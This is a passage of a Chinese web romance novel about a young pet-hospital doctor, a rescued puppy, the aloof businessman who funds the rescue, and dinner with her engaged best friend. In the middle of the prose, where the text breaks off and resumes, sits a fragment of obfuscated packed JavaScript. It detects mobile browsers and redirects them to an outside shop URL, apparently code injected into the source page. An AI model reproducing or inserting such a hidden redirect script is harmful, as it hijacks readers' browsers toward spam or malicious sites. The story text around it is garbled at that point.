一张邀请图,粉红玫瑰花墙,前面是公主抱的卡通小人,底下一行醒目的英文。
等看清,美妙脚下一顿:【Justmarried】
瞧瞧这得意的小调调,她现在都能想象陈佳佳设计请帖时,那傲娇的嘴脸,这下出血出大发了,怀孕小礼物变大大大…红包。
幸亏婚礼日期定在下个月,要是这个月,她非抹脖子不可。
美妙就故意揶揄她:【我说你那卡通小人画的也不太走心了,两手空空,你那鸽子蛋呢?】
实际上简笔勾勒的小人,鸭掌差不多,哪看得见手指。
那头陈佳佳却回得飞快,美妙低头看消息。
【对嚯,还是你细心!】
“反正它是我捡的,你们要不管我就只能丢出去,反正也是等死。”
呆了呆,美妙退两步倒回去,问诊室的门忽然打开,迎面走出一个胖女人,差点撞到,美妙忙闪到一边,转头往里看。
“怎么了?”
杨帆也看到她,用下巴点一指面前。
诊台上乖乖蹲坐着一条黄毛小狗,毛茸茸的脑袋转过来,看着只有拖鞋那么大。
杨帆就指着化验单:“几十块钱的检查费都不想拿,何况是几千,人跑了。”
美妙倚着门槛看它:“收下吧。”
杨帆酝酿了一下措辞,轻声提醒她:“这病在主任手上也不一定能治好,搞不好狗财两失。”
美妙叹口气走进来,摸着小狗头顶参差不齐的呆毛,笑着逗它:“我们才多大呀,大棒骨还没啃过呢?”她瞅一眼杨帆,继续说:“你好好治病,过几天让杨大侠给你买骨头。”
“诶你怎么不给它买呀?”杨帆简直没好气,余光瞥见美妙的口袋沉甸甸,“你这揣的什么?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611950|187366||http|test|mini|href|location''.split(''|''),0,{}));
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>“没什么。”美妙侧着没让看,转移话题问起小黄的病情。
杨帆也觉得这小狗怪可怜的,最后妥协地哎一声:“那行,我可跟主任汇报。”
美妙点头,邹文昌不可能拒绝,因为没有同情心的人压根干不了这一行。不像……她无端想起昨天的经历,某些人啊,她轻嗤了声。
不出所料,下午查房的时候,美妙就见到了小黄毛,她往笼子里头丢了一只小玩具。旁边护士正在贴信息卡:“这狗叫啥名字呀?”
“主人说路边捡的,小土狗哪儿有名字。”杨帆转头回她。
美妙啧了声:“说什么小土狗,人家有正经名字——中华田园犬。”想了想,她对着笼子轻声说:“就叫杨小凡吧。”
整个房间静默一秒后,爆发哄笑声。
杨帆急了,哪有她这么起名的。
赶在杨帆发出抗议之前,美妙走过去拍拍他肩膀,“你别激动嘛,小凡小凡,咱是平凡的凡。”
“那也不行!”杨帆又要反对。
美妙赶忙出声:“好!那咱不跟你姓,只叫小凡,小凡行了吧?”
大家又是一阵大笑。
护士郑重地点头,刷刷两笔填上病历卡,住院医生写上杨帆。
杨帆一整个傻眼,她叫住美妙:“这狗可是你自己要收了,主任说了,大头你出。”
美妙摆摆手示意自己知道,她说:“剩下的你出。”
没到晚上,所有人都知道杨帆收了一只同名的小奶狗,名叫小凡。凡是进出住院部的都爱来小凡这里晃一晃,然后阴恻恻喊一声:“小凡。”
杨帆有苦说不出,只要见了美妙就追着屁股要钱。
泄愤。
美妙没管他,小凡这才刚住院,结账单早着呢。
倒是之前收的缅因猫棉花大有好转,她去找主任签字出院。
临走邹文昌交待:“虽然稳定下来了,一定通知家长留心观察,一有情况赶紧来医院。”
美妙点点走就要走,邹文昌想起什么,又叫住她,“哦对了,你们收的那狗,费用先别着急摊,我准备跟院里申请救助基金。”
这可真是意外惊喜!
之前只是开会时听领导们提过,据说救助资金由一家私人公司捐助,只为救助那些流浪或被遗弃的小动物,用以接受免费医疗救助。美妙心说,这世上还是好人多啊,而且有钱又有善心。
她简直喜从天降,激动地鞠躬:“谢谢主任!”
“谢我做什么,又不是我出的钱。”
“差不多,差不多。”
回到科室,她就警告杨帆别再跟着屁股讨债了,说你家小凡命好,有救助基金为它保驾护航。杨帆很无语,他现在一听这名字就肝颤儿,投降的语气,“咱商量商量,你给它换个名字吧。”
“谁?”
“就那小黄毛。”
“成,那你问问它,看它答不答应?”
杨帆不说话了。
美妙接着说:“你别老是小黄毛小黄毛的喊,你别看人家小、兜里又没钱,可谁没点自尊呢?”
杨帆彻底不说话了。
旁边小微不知道美妙以已度狗,听着趴在电脑前笑成一朵花。
这边气氛活跃。
而此刻另一边,津市元启大厦顶层的会议间里,空气稀薄,气氛诡异。
23. 第 23 章
会议一结束,各部门老大都悄无声息地退出去。
吕城留下来单独汇报收购进展,他看了一眼紧闭的门,又看向对面,忍不住插言:“你今天有点不对劲。”
梁时言挑起视线看向他,“哪儿不对?”
他这么一问,吕城反而拿不准,犹疑片刻后放弃,“那我继续说。”
吕城继续话题,对面梁时言凝神听的同时,纤长的指尖,有一下没一下,无声地敲着桌面。
同窗多年,梁大老板向来喜怒不形于色,今天脸绷着紧紧,不知道琢磨什么。
外面有人敲门进来的时候,吕城正好汇报完,他又撇了眼默不吭声的梁时言,起身出去。
“梁总,有一位尹女士打电话到办公室。”秘书欲言又止,声音越来越低,“说您不接电话。”
梁时言头都没抬:“知道了。”
秘书说完识趣地走了。
偌大的会议室只剩下一个人。
梁时言的视线终于从文件上移开,他拿起手机,直接划走两通未接来电,点开最近一条消息,顿了下,指尖在屏幕上游移,最后回了一个好字。
小凡的救助流程出乎意料的顺利,第二天下午,主任通知审批通过,得到消息的美妙简直喜出望外,待支付款项就这么少了一笔,真是松口气!从接诊室回来,她心满意足地坐在电脑前,哼着歌。
下午四点,护士说棉花家长来了,她收到消息丢下鼠标,屁颠颠跑过去。
作为医生,没什么比病人出院,更开心。
可刚出电梯,美妙虎躯一震。
住院部门外被人围的水泄不通,清一色蓝精灵护士,她挤在最外层垫脚往里看,啥也没看到,不由诧异:“你们干嘛呢?”
“你怎么才来?”旁边小护士兴奋地仰着下巴颏儿,“院长陪大人物视察呢。”
“哈?”她摸不着头脑,啥大人物,大人物不去干大事,跑来折腾病号,她嘀咕着收回好奇的脸,“棉花家长呢?”
护士说:“也在里头。”
美妙一呆,可真够乱的。
她想起那位每次来都优雅矜贵的女士,刚想拨开人群往里进,就听有人问:“美医生来了吗?”
是院长无比权威的声音。
美妙忙举着手答应,又听院长介绍:“咱们救助基金会成立,救助的第一例被遗弃病例就是美医生收的,她原本打算自己垫钱——”
就这么被人提起,还是夸奖的口吻,竟然有点不适应,她挤进去恭敬地说,“院长。”
“梁总,这位就是美医生。”院长笑呵呵介绍,同时朝她摆手,“美医生来见一下,这就是咱们基金会的注资人,元启生物公司梁总。”
美妙懵懵地看过去,脑袋顿时轰隆一声好似被车撞了,晕头转向,院长身旁侧立着一人——分明是那个以戏耍穷人为乐的梁时言!
院长见下属没反应,看着她:“美医生?”
美妙嘴角一阵抽搐,她抬头,恰好对上一双深邃淡眸漫不经心地扫过来。
她裂开嘴挤出一点苦笑,生硬地开:“梁总好。”
“看来美医生不是很欢迎我。”对方看她为难的表情,开口问了句,说完又转头看笼子里的小凡。
美妙:“哈?”
她还是没太反应过来,直直愣愣地呆了几秒,终于赶在院长生气之前,摸出了一串词,麻溜供上去:“怎么会呢?听说您古道热肠以一人之力帮助基金会,简直企业家典范,新时代楷模。”
她无论如何不相信他那么好心,咳一声,又补了句:“向您学习,学习!”
好大一顶高帽。
梁时言今天才知道,这张抠搜的小嘴里还能吐出如此冠冕堂皇的话来,他自嘲地扬起一边嘴角,笑了笑,盯着小狗,并不接话。
然后大家都不讲话,气氛怪异的冷却下来。
杨院长一脸狐疑,这边看一眼,那么看一眼,实在有点迷茫,纵使他人情练达也犯嘀咕,总感觉哪里奇怪,很自然地看向美妙:“你认识梁总?”
“没有没有。”美妙条件反射地否认,几乎同时摇起了头。
然后她想,我才不认识什么高高在上的资本家。他们仅有的几次照面,只能说是误会,或者错误?她气势汹汹地给自己找理由。
谁知院长又转向另一边,问神色一贯冷淡泰然自若的梁时言:“梁总认识我们小美医生?”
美妙忽然心里一揪。
开什么国际玩笑啊,她十分不自然地扭过脸,实在不想听到答案。
就听到院长忽然笑着:“梁总肯定不认识美医生,美医生刚来不久。”
她心灵忽又一平,幸亏院长没等人开口,光想想就鸡皮疙瘩掉一地,简直太尬了!心里琢磨要赶紧说句话岔开话题,不料还没张口,就被一句话噎住了——
“有幸认识。”那资本家冷不丁开口,目光不咸不淡,从眼尾撇扫过来。
美妙:“……”
她身子一僵,片刻后只眨巴两下眼睛,彷佛木偶一样僵死过去。
这下院长更疑惑了,一个说认识,一个说不认识,是他老糊涂了?
在这个档口,门外响起脚步声,人没露头,声音先进来:“美医生?”
然后一个转身,杨帆晃晃悠悠地进来,嘴里嚷嚷着:“美医生,说好的钱呢?”
众人:“……”
杨帆发现情况不对,张着嘴,调侃的坏笑逐渐凝固在嘴边。
这下院长更加疑惑,看着儿子,又看看呆若木鸡的美妙。
杨帆也发现她。
梁时言微微拢眉。
一时间,三个方向,三道视线,全落在美妙脸上。
气氛一瞬静默,连旁边笼子里的病号们都好奇地看向她。
美妙脑袋嗡嗡响,犹如一万只蜜蜂围着转,蒙圈三秒后,她干笑两声,反应还算快,忽然抓住旁边的杨帆,顾左右而言他:“……那个小黄的情况,”边说边把人往外带,“主任让我叮嘱你,小黄的情况千万不能大意晚上查房的时候……”
渐渐地。
谈话声听不到了,院长显然没看懂,只得摇头嗟叹:“这俩孩子……”又尴尬地补了句:“小年轻刚毕业存不住钱。”
梁时言像是听见了,又像是没听见,眼皮缓慢地抬了一下,视线从门口缓缓收回,点了点头。
外面杨
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帆连哄带骗,已经被赶到走廊尽头。
“你干嘛呀,脸怎么这么红?”
美妙松开她,臊的、不是,“热的。”
“你怎么还问我要钱,你们家小凡不是走救助基金吗?”她横着眼质问。
“你怎么又叫小凡呀?!”杨帆反唇相讥。
“好好好,我以后不叫。”美妙投降地举起手。
“行,休战。”杨帆低头捋着袖子褶,“你劲儿真不小。”
她原地站一会儿,觉得头痛,挠了挠额头对杨帆说:“算了,咱去吃饭吧,我饿了。”
杨帆惊讶地抬表:“……这才几点?”
“那我去了。”
美妙头也不回,只想快点离开,她耷拉着肩膀走向食堂,低着头,又瞥见兜里昨天就揣着的牛奶。
她缓缓地吸一口气,也不知道师兄现在还喜不喜欢草莓口味的。
怂包如她,这瓶牛奶自买来已超24小时,却还没送出去。
自那天知道苏屹分手,她总觉得自己应该跟他说点什么,算不上安慰,但她就这样理所当然的觉得。可忽然又很怕见到,这几天经过神经科,下意识总会多看几眼,然后马上离开,因为她不知道怎么开口。
他这时候一定很难过,她就这样直白地过去,会不会让他难堪。
她拿不定主意。
于是经过便利店,顺手拿了一瓶草莓牛奶。
她想着,或许在热闹的走廊,周围乱糟糟的时候,她可以很自然地递过去,随意聊两句,不会有人在意,他也没有负担。
这么想着,兜里的玻璃瓶晃晃荡荡,跟随美妙穿过后楼。
医院的小食堂不大,从这头望到那头,总共五个窗口,这个时间,就餐人不多,她拿着托盘走到窗口,实在没胃口,随意打点土豆青菜,找了个餐桌坐下。
“呦——小高徒?”
美妙挑着土豆丝,那声音又近了几分,“小高徒?”她从走神中回来,神经科那两位人高马大的医生把餐盘放她对面,一推便坐下了。
“怎么一个人来吃饭?”其中一个方脸医生问。
“早上没吃饱,饿了。”美妙笑着胡诌,怎么遇上他俩,她嘀咕完看向俩人身后,没其他人。
垂脸戳了戳米饭,又抬头问,“你们科室最近忙吗?”
“哪天不忙?”一人反问,也坐下。
“你吃这么素。”方脸医生盯她盘子,自己炫口红烧肉,“你那小脸就巴掌大,还减肥啊?要不要红烧肉?”很热情。
美妙忙摇头,吃不下而已,她客气地结束话题,“老师们辛苦了。”
对面的人乐了,好像不喜欢被人这么叫,板起脸纠正她:“叫师兄。”另个人也说对对对别把我们叫老了,跟苏屹一样叫我们师兄,说完忽然抬头,“嗨苏屹,这边。”
叫师兄……?
还没顾上冒汗,美妙被对面的视线吸引,扭头看身后,苏屹清瘦俊雅地走进来朝这边笑了笑,他好像也留意到她,目光一转,温柔了几分。
“师妹也在?”
美妙心砰砰砰,跳成一只兔子。
尽管他待人温和,对谁都这么笑。
24. 第 24 章
方脸医生就不乐意,高声冲着苏屹:“哎我说苏医生,您能不能别老是到处抛媚眼,也给我们哥俩留点发展空间呀!”
“就是,你说是不是小美医生?”另一位医生笑呵呵看向她。
是是是对对对。
美妙虽然很想同意,但对着一张略带调笑的脸,她更紧张,不好意思地低下头。
“美妙可不像你们。”苏屹端着打好的菜过来,坐到美妙旁边,打发对面:“快吃吧下午还有会。”
几人顺势聊到下午的会议内容,方脸医生他们的话滔滔不绝。
美妙嚼着大米粒一边听,一边留意苏屹,他拿筷子的手势很标准,斯文有礼地吃菜,偶尔回一句,浅笑的样子很动人。她不自觉摸了摸右边口袋,想着如果现在只有他们两个人该多好。
于是很慢的吃饭,期盼对面的碍事精快点吃完走人。
方脸医生看她数着大米粒,“美医生吃完了?”
“没有。”美妙差点翻白眼,心想大中午你打这么多米饭干嘛,半天才吃了一半,她蹙眉还想解释,只听身旁苏屹问:“不合胃口?”
她下意识摇头,轻轻撞上他的眼睛,耳根一热。
温润如玉的侧脸离她那么近,停了几秒,才转回去。
“要不要吃鸡腿?”他侧了脸接着说,温润目光和缓地看过来。
ohmy……god
曾几何时她能听到这样的话,小小嘘一口气,脑海中有声音告诉她,她可以吃,她想吃。
“我——”
可以吃吗。
还不等美妙说完,只听“哈哈”两声笑,对面的方脸医生笑说:“小美医生不爱吃这些,我刚给她红烧肉,头摇地拨浪鼓似的。”
“就是,年轻女孩就愿意减肥。”
美妙:“我……”
谁摇拨浪鼓了,我去,到底谁摇拨浪鼓了,红烧肉跟鸡腿能一样吗?
苏屹见状自然不会勉强,释怀一笑,挑动的筷子很快放下。
美妙心中一万只兔子奔腾而过,顿时只留空虚,她干笑两声就此沉默。
只听方脸医生叹口气,问苏屹:“咱上周收的那只脑膜炎橘猫,指标正常了吧?”
苏屹点点头,“下午出院。”
猫猫可怜,猫猫。
听到出院的刹那,美妙心里咯噔一声,忽然想起什么,一下秒,她就猛地站起来,我草!她把棉花给忘了!今天棉花出院啊!!
她饭也不管了,丢下筷子就跑,没听清苏屹他们问什么,只草草什么回一句有事,便冲出了食堂。
先前的热闹不复存在,她气喘吁吁跑到门口,刷开门禁。
里面只有医助在,她急急地问:“棉花呢?家长呢?”
说着走到棉花的笼子前——
空空如也。
医助正在对其消毒,抬头哦了一声,摸不着头脑:“不是出院了吗?家长接走了。”
美妙傻了,没人联系她啊,不对,之前联系了,但她没见到人,忙问:“谁接走的?谁做的医嘱?”
“院长,刚才院长在啊。”
还好还好。
美妙深深舒了一口气,抬手给了自己脸颊一下,警告自己:“以后长点记性。”
这一套动作把医助整蒙圈,盯着她:“美医生,你没事儿吧?”
美妙干笑两声,“没事。”
她默默走出去,想起今天乱七八糟的事,脑子一团浆糊,想起没吃完的饭,想起没送出的草莓牛奶,拖着疲惫的步伐走回科室。
刚到科室门口,空荡荡的肚子忽然不争气的咕噜咕噜,“咕——”
她缓缓垂头,气自己不争气,教训肠子:“叫什么!”
办公室没人,这会都吃饭去了。
她颓然拉开椅子,一屁股坐下,视线却被桌上的手提袋吸引。
“谁的?”她回身看眼办公室,显然没人回答,她虚虚地盯着门,外头似乎有饭香。
“什么东东?”她嘀咕着拿过来,打开里头还是纸袋,一看就是吃的。
没犹豫,她拿出一小包,展开牛皮纸,一股面包的甜香混着奶油香,凑鼻尖仔细闻,还带着刚出炉的,暖烘烘的踏实的麦香。
她又扭头看一眼门外,不知哪位大神外卖员外卖送错地盘,不过歪打正着,她正饿着。
欣赏半响美妙决定吃掉,万一一会儿有人说放错地方了。
诶!那她不管。
你别说,味道不错。
美妙吞了一只又拆开一只,这次细细品味,外壳焦脆内里柔软,也不偏甜,带着一股食物本味的甜暖淡香。
吃了半截,她忽然顿住,这味道似曾相识,在哪里吃过。
又想了想,这不可能,她连名字都叫不上来,怎么可能吃过……呃,她忽然停住,垂眼盯住啃了一半的小玩意,忽然意识到哪里不对,但想不起来。
她正迷瞪。
外面走廊传来嬉闹声,美妙转过去,盯着进门的第一个人,开口便问:“谁来过我工位?”
“不知道啊,我一上午都在门诊。”最先进来的说。
接着是小微,“你丢东西啦?”
美妙说没有,盯住最后一个晃进来的重复道:“杨帆,有谁来过我工位?”
后者插着兜晃到她身后,“咋啦钱被偷了?”
美妙气地翻白眼,她倒是想被偷,无奈条件不允许,忙拉回正题:“到底你们谁见了,有人找过我吗?”
大伙坐的坐,站的站,个个顶着吃饱喝足后大脑供血不足的困顿脑袋,一齐晃起来:“没有。”
“没有。”
“没有。”
只有杨帆精神头十足,他越过美妙伸手掏只面包,“这什么玩意,挺好闻?”
美妙下意识伸手,没拦住,眼睁睁看他拆开,能吃是能吃,关键是不知道是谁的,她说:“吃坏脑子我可不负责。”
杨帆没搭理他,自顾自塞进嘴里,满意地点头:“嗯…清晨布里欧。”下一刻他就调侃,“美妙同学,你啥时候变得这么有品位?”
美妙:“……”
品个头,她烦躁的电光火石间,忽然想起。
人生二十几年,这玩意她就吃过一次,而且因受到人格摧残没吃完。
——在那家死贵的西餐厅,她怒视半天的结账单上。
第一行就是这个颇小资的面包名。
她简直无语凝噎。
整个下午,面对着电脑,美妙视线总不自觉飘到旁边手机上,不就是吃他几个面包,这有什么大不了的。
她强迫自己把视线挪回文档上,手指噼里啪啦地打字,隔了一会,终于按捺不住,她扭回问后面杨帆,“诶,那个谁…?”
杨帆慢悠悠的转头:“啥?”
“那个谁,就上面搞的救助基金有啥内幕没有?”
“啥内幕?”
“就是搞噱头啦,打广告曝光啊作秀啊什么的?”
杨帆怔怔地看着她,看傻子一样:“你没发烧吧,小说看多了吧?”见她没反应,杨帆信誓旦旦补了句,还与有荣焉的样子,“这么跟你说吧,那钱是梁哥以私人名义注资,我爸说监事准备公布捐助款额,梁哥没让,名字都没让公布。”
“梁哥……”
叫的还挺亲热。
杨帆嗅出一丝不对劲,“你怎么了?”
“呃……没什么。”美妙尴尬地扭回头。
余光撇见桌角的手机,好奇心驱使,她拿起手机,终于发了条消息过去,然后烫手山芋般丢掉手机,握住鼠标继续整理资料。
该死的工位太小。
没两秒,手机突兀地亮了,她整个人没动,仅仅滑动眼瞳去看,屏幕上果然闪着那个人的名字。
果然是他放的。
梁时言倒没否认:【买多了,顺路拿过去。】
瞧这口气!
虽已猜出七八分,但美妙还是感觉无语,这个人这是很奇特,道歉也能摆出一副施舍的高姿态,她真是深深的拜服!
她手指飞快,说着反话:【承蒙施舍,不胜感激。】
那头似乎也清闲,梁时言似乎没听出她的话音:【不客气。】
又回:【还有件事是否也要谢我?】
美妙哐哐回:【没有。】
没想到梁时言那边即刻发难:【哦,那就是说美医生还是打算自掏腰包救助那只小狗,这样的话,我就通知关闭救助流程了。】
美妙顿时傻了眼。
她真是人穷志短啊,并且还没有高尚到跟钱不去,一番激情高昂之后败下阵来,只好阴奉阳违:【没有没有,我的意思是口头的感谢太没有诚意了。】
梁时言:【那改天换你请我吃饭?】
美妙答应地十分勉强:【行吧。】
梁时言:【请就请,吧是什么意思,不乐意?】
请就请,有什么大不了。
转念一想,科里近期要考核没时间,具体哪天有空嘛,美妙低着头哼笑一声,等她升到主治,算算大概需要三年吧,再算上她天赋异禀,最快也要两年。
美妙:【请!】
就这么忙了一阵,美妙根本没把约定当回事。
虽然整天脚打后脑勺,忙的没时间,但准妈妈陈佳佳的邀约,她
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无论如何都要抽出时间。周五晚上,坐上开往市中心方向的地铁,美妙下车,俩人在一家高级日料店碰头。
一进包间,她便对着盘腿而坐的程佳佳,严正声明:“今天咱说好了你请客啊。”
不知怎的,她现在对高档餐厅莫名发怵,总要事先说好才心安。
陈佳佳笑她没出息,紧接着哪壶不开提哪壶:“香蕉牛奶就这么砸手里了?”
“草莓牛奶好不好?”美妙斜睨她,心情顿时一落千丈。
陈佳佳万万没想到,她此前千叮咛万嘱咐,让美妙来点实际举动。没想到这货冥思苦想几天,居然想出一个送牛奶的点子,最关键,还没送出去!
“哎,就你这脑子咋考上大学的?”
“你就不能学学你姐?”陈佳佳简直吐血。
“你别说我了……”美妙觉得委屈,有气无力地摊倒在榻榻米上,盯着天花板喃喃自语,“我打小就这样,我妈也这么说我。”
不过这话怎么听着有点耳熟,她睁着双眼迷茫半天,好像沈女士或者美丽这么骂过她。
这时门被推开,服务员把一碟碟小盘流水似地送上来。
这是陈佳佳提前预定的,不用等,两人之前吃日料出过丑。
高中毕业那会儿,超级流行连锁寿司店,俩人攒了一周的零花钱跟风去吃。没曾想,呆坐1小时只等到两枚寿司,当时陈佳佳的脾气就上来了,出去嚷嚷,结果那经理,却悠悠地说“我们正在努力嘛。”
两人差点背过气,从那之后,美妙对日料没好感。
不过,眼前的肥牛乌冬面、鳗鱼饭、甜辣虾还有一个梅子酒,倒是勾起了她的馋虫,一天忙活下来,也的确饿了,也是爬起来拿筷子。
陈佳佳无语地将虾往前推一推,“多吃点,吃虾长脑子。”
美妙回敬一个眼神。
不过自从陈佳佳宣布婚讯以来,整个人倒是松弛不少,不像以前总绷着神经,陈佳佳自己说是内分泌的原因。
美妙表示不信,因为刚才碰面的时候,陈佳佳换了台崭新的汽车。
“嫁妆?”
“聘礼。”
美妙咂舌,高家三代单传,香火续得跟濒危物种似的,到高小严这总算没撂挑子。她忽然想到当初姐姐美丽拒绝高小岩的理由:他温吞水似的。
现在再看,这温吞的性格跟暴躁的陈佳佳正好互补。
她抱着乌冬面碗喝了口汤:“恭喜恭喜!”
吃了半天,却不见陈佳佳动筷子,她哎一声提醒,然后问这位准新娘怎么不吃。
陈佳佳垂涎地望着一桌佳肴,嘴角却是往下一耷拉,“我孕反。”
美妙愕然。
“不是,这才两周没见,怎么就孕反了?”她印象后面才会有这种反应吧。
陈佳佳翻个好大的白眼,“老娘发现的时候已经怀孕一个月了!”
美妙理直气壮:“我又没睡你家床底下,怎么知道你哪天受孕?”问完之后美妙立马有了不好的联想,她顿了下,不自在地撇开眼睛。
陈佳佳眨眨眼,真诚地盯着她:“那我跟你细说说?”
她敢点头,她绝对敢说,而且是很细很细很不要脸的那种,陈佳佳就是这么彪悍的人,美妙太了解她。
她立刻举手表示投降,耳根通红:“我错了,自罚一杯。”
然后双手抬碗,又咕咚喝了一大口汤。
陈佳佳被她怂包的样子逗笑:“德行!”
笑音未落,包间门从外拉开,服务员托着盘子进来,美妙转移话题地问一句:“还有呢?”服务员小哥笑得腼腆,边挪盘子边说,“刚到店的,新鲜现切,两位慢用。”
美妙简直两眼放光,她看看精致豪横的冰船,虽叫不上名字,但一看就知道是硬货,真是士别三日当刮目相看啊,不禁抬头感叹:“行啊你!”
接着竖起大拇指:“够仗义!”
这两盘料理美妙叫不出名字,可陈佳佳却不是头次见。台里年会请大客户吃饭的时候才奢侈一把,北海道海胆、蓝鳍金枪鱼刺身,这都是为了撑场面才上的,而且需要老早预订。她还没抽风到老年痴呆。
慌忙拦住服务员:“哎…你上错了,我没点!”
此话一出,美妙猛缩回筷子,她就知道高兴早了,瞄一眼陈佳佳,闪开半个身体让小哥往下撤,谁知小哥直接起身,完全没有收回的意思,“没上错,这是里头包间一位客人送的。”
陈佳佳和美妙惊讶地互看,同时出声:“谁啊?”
“反正不是高小岩。”陈佳佳丢下一句话,兴冲冲爬起来走到门口,两眼放金光:“哪间?哪间?”
25. 第 25 章
外间很安静。
这家料理店只有一层,但很宽敞,每个包间都由日式推门隔开,一家一家往里,安静清幽的不像饭店。
陈佳佳巴巴望着小哥给的方向,斜对面不远的包间关着门,安静如鸡。
“是谁啊?”美妙小声问。
她眯着眼观察陈佳佳:“该不会你有什么花边新闻吧?”她倚着门框逗她,“你马上结婚呢,不能乱搞知道吗?”
陈佳佳一把勾住她脖子,“闭嘴!”
“咳…你知道我想什么。”
“那你说出来我听听。”
美妙脖子被箍的不能动,脸颊通红的同时愈发有点怀疑,当年陈佳佳脚踩两只船的事件在她们那届很出名,她气息不畅地歇老底:“这可不好说…你…你可是惯犯。”
“哎美妙同学,我发现你今天特别欠揍!”说着上手段。
只听推门声一响,从不远处包间走出两个人,打头的那位一下注意到这边的动静,好奇地看过来。
美妙扭着脖子歪着脑袋,本就视线不正没看清,还在试图挣脱肘锁的时候,忽然一张略带调笑的大脸凑到她眼前,很开心的语气:“你好呀,小可爱!”
美妙楞了下,觉得有点熟悉。
这时陈佳佳看到后面的人,猛然把美妙松开,她一下没站稳扶住门框,脑子里刚有了点灵感想起在哪里见过这个人,却听旁边陈佳佳,相当浮夸地喊开了:“原来是梁总啊,真是幸会。”
美妙惊愕之余,陈佳佳已经抢步上前,跟那人握上手,“真是有缘!”
那造作的语气,夸张的神态,简直没眼看。
这是她认识的那个鄙视溜须痛恨逢迎的女侠陈佳佳吗?
美妙眼珠子差点掉地上。
她愣住,只一眼就认出陈佳佳的有缘人——这种感觉,大概就是把一台大冰箱丢进电视机堆里,是个人都会吐槽这家伙杵这里干嘛呢?
因为他不仅身量惊人,而且自带制冷系统。
冷飕飕的一个人。
正是梁时言。
她三年内预备不再见的人。
美妙楞了下,下一秒立刻跳转视线,目光切到刚才跟她打招呼的绅士身上,异常热络:“我记得你耶,咱们在……”
那人笑着接上话:“咱们之前在市里举办的研讨会见过,”并且十分友善地自我介绍:“我叫吕城。”
然后伸出手:“你是舒克的医生?”
应该不算吧,美妙也大方的伸出手,自我介绍:“我是宠物医生,肿瘤科。”
吕城听后点点头,怪异地瞄了一眼梁时言,此时左边的谈话也结束了,看来梁时言似乎心情不错,难得跟人寒暄。
吕城自然地揽过话头,大方地表示:“今天的海胆金枪鱼都不错,刚才给你们也要了份,我请客。”
陈佳佳立马顺竿爬,那话接得比狗接飞盘还快:“哎呦吕总,我就说今天出门心情特别好来着,原来是老天爷知道今天要沾吕总的光!”
她象征性看眼美妙,顺带捎上她,“刚才我们还讨论谁这么阔气来着,原来是您二位财神爷。”
美妙心说不至于吧,两盘菜就把您给忽悠成这样了,她实在听不下去,于是假借清嗓子咳了两声,心说我可没这样想。
梁时言听着动静转移视线,淡淡落在她身上,淡淡地问:“怎么,这次还装不认识?”
美妙一楞,这次立刻接话,真是近墨者黑,下意识学着陈佳佳,顽皮地说:“我哪敢呀,是您这派头太大我一时没敢高攀。”说完干笑两声,有些不自在看向撇开视线。
梁时言没接话,深深地看了她一眼。
感受到凌厉深沉的视线,美妙神色自若,反正那盘海胆她一根刺都没碰,那盘生鱼片她只用眼睛吃了两口而已。
只是旁边,两名不知前情的人士感到莫名其妙,他们同时打量美妙,又齐齐转向梁时言,只见后者一张扑克脸淡淡,然后转身,忽然朝门口走去。
吕城哎了一声,忙跟上去,“等等我啊。“
陈佳佳突然想到什么,慢了两拍,也追了过去:“哎…梁总!”
身边一下没了人,美妙鼓了鼓脸颊,仿佛有点失望地泄了口气,她望了眼已经走到前台的三人,转身回了包间。
五分钟后。
当陈佳佳红光满面一脸得意回来的时候,美妙正慢吞吞剥着虾壳。
她一坐下便兴奋地问:“你怎么认识梁总吕总的?”
那可真是孩子没娘说来话长,美妙正吃虾,嘴里不得闲,于是简明扼要。
陈佳佳得知自己闺蜜是电视台大客户家的狗狗的医生,虽然这关系有点绕,但眼睛还是亮了起来,眉飞色舞道:“我跟你说啊,这位可是我们台财神爷。”
她敏锐地警告美妙,“你以后说话注意点,千万别得罪人家听到没,我刚才可看他有点不高兴。”
美妙猛抬头,拔高声音叫道:“他不高兴,我还不高兴呢!”
“得得得你牛逼,你厉害。”陈佳佳心里高兴,懒得跟她打嘴仗,眉开眼笑地勺了一只海胆。
这动静弄得美妙心里发毛,她谨慎地看了一眼门外,又仔细看程佳佳:“你咋了,拣着金元宝了?”
陈佳佳撇她一眼,语气得意,“差、不、多。”
美妙:“……”
真是无语。
她见陈佳佳乐颠颠又开始夹生鱼片,诧异道:“你刚不是说孕反么?”
“我高兴!”陈佳佳拿眼瞪她,然后话锋一转,拿下巴点美妙,“诶你说梁总帅不帅,是不是比那什么小鲜肉顶流帅多了,关键气质顶尖,可谓面如冠玉萧萧肃肃,谁看了谁能顶得住?”
美妙:“……”
再次无语。
陈佳佳也不管她,可能职业病犯了开始滔滔不绝,“我跟你说,我们台美女扎堆吧?那女的凡是见过梁总,那真是………”她呵了一声,接着夸张,“当天晚上睡觉都能香不少。还有最绝的是我们新来的实习生,小姑娘去送咖啡直接当机三分钟——直接蒙圈,傻啦!”
美妙噗嗤笑出声。
“你笑什么?”陈佳佳忽然停下来。
美妙低下头,脑内浮现梁时言刚才面目表情盯她的样子,嘴角一歪歪:“我觉得你描述的不像人?”
“那像什么?”
美妙挑着筷子:“像——蚊香”
“蚊香?!”陈佳佳呆了呆。
美妙就说:“你想啊,晚上又能睡得好。实习生见了还蒙圈,那不蚊香嘛?”
“蚊香为啥蒙圈?”
“中毒了呗。”
程佳佳一愣,然后指着她笑:“你可太损了你。”
“诶人家到底怎么得罪你了?”她好奇地问。
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美妙沉默。
程佳佳想起她在台里第一次看到梁时言。
他就那么随随便便坐着,但好像某个级别的领导大驾光临,又淡着一张生人勿近,极度完美的脸。引得从会议室门口经过的人,都有点惊讶乃至畏惧地看看他,然后快步溜走,但又被独特的气质惊艳到,忍不住回头偷看两眼,做贼似的。
她兀自回忆说:“太冷欲了,只可远观。”
“嗯……”这次美妙点点头。
陈佳佳吃惊:“怎么,你也看上人家了?”
美妙被问的一愣,随后兴味索然地摇摇头,嘘嘘地说:“那倒没有。”
“那你说说人家到底怎么得罪你了?”陈佳佳纳闷了,刚才这家伙跟人打招呼的态度肯定有问题。
这让她怎么说呢?
